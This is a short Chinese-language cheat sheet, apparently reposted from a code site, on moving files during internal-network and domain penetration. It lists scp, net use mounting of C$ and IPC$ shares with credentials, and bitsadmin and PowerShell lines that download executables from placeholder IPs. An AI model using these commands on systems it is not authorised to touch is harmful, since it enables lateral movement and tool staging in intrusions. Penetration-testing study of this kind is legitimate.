內網滲透域滲透中的文件傳輸


Linux-UnixlikeOS環境下的


scp命令


適合unixlikeos系統之間

#上傳
scp [-r] /locapath/localfile username@target_linux:/remotepath/remotefile
# 下載
scp [-r] username@target_linux:/remotepath/remotefile /locapath/localfile

sz/rz命令(SecureCRT和XShell都可以)


適合windows與unixlike系統之間

#上傳文件sz
#下載文件rz

Windows環境下的


共享


適合任意系統與Windows系統之間

開啟共享
net share sharename=sharepath
使用共享
\\target-ip


net use


#導入憑證
net use z: \\target\\C$
#或者使用用戶名密碼
net use z: \\IP\c$ "密碼" /user:"用戶名"
#使用IPC,導入憑證后無需使用用戶名、密碼
net use \\IP\ipc$ "密碼" /user:"用戶名" (同樣有3個空格) 

wget和curl和git clone下載


wget ftp://xxx.xx.xxx.xxx/xxx/xxx/xxx.xxx
curl http://xx.xxx.xxx.xxx/xxx/xxx/xxx
git clone https://github.com/xxxx/xxxxx.git

ftp下載


ftp xxxxxxx
username&password
put xxxx
get xxxx
mget xxxx

bitsadmin


bitsadmin /transfer n http://download.sysinternals.com/files/PSTools.zip  C:\test\update\PSTools.zip

powershell


#powershell 下載
powershell (new-object System.Net.WebClient).DownloadFile( 'http://xxx.xxx.xxx.xxx/xxx.exe','C:\test\update\xxx.exe')


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM